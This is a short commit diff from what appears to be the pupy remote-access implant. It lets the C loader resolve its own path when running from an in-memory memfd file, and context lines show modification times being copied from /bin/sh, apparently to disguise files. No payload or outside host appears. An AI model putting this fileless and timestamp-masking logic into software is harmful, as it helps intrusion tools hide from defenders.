Handle case when pupy starts from memfd

This commit is contained in:
Oleksii Shevchuk 2017-03-07 23:22:25 +02:00
parent 640526c91e
commit 722369239c
3 changed files with 10 additions and 0 deletions

View File

@ -11,6 +11,7 @@
#include <sys/prctl.h>
#include <string.h>
#include <errno.h>
#include "memfd.h"
#ifndef DEFAULT_MTIME_FROM
#define DEFAULT_MTIME_FROM "/bin/sh"
@ -106,6 +107,10 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
int fd = -1;
if (strstr(self, "/memfd")) {
snprintf(self, sizeof(self), "/proc/%d/exe", getpid());
}
struct stat _stat = {};
stat(mtime_from, &_stat);

View File

@ -4,6 +4,7 @@
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <string.h>
#include <stdbool.h>
#define MFD_CLOEXEC 0x0001U
#define MFD_ALLOW_SEALING 0x0002U

View File

@ -108,6 +108,10 @@ uint32_t mainThread(int argc, char *argv[], bool so) {
dprint("INVOCATION NAME: %s\n", program_invocation_name);
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) {
if (strstr(exe, "/memfd:")) {
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
}
Py_SetProgramName(exe);
}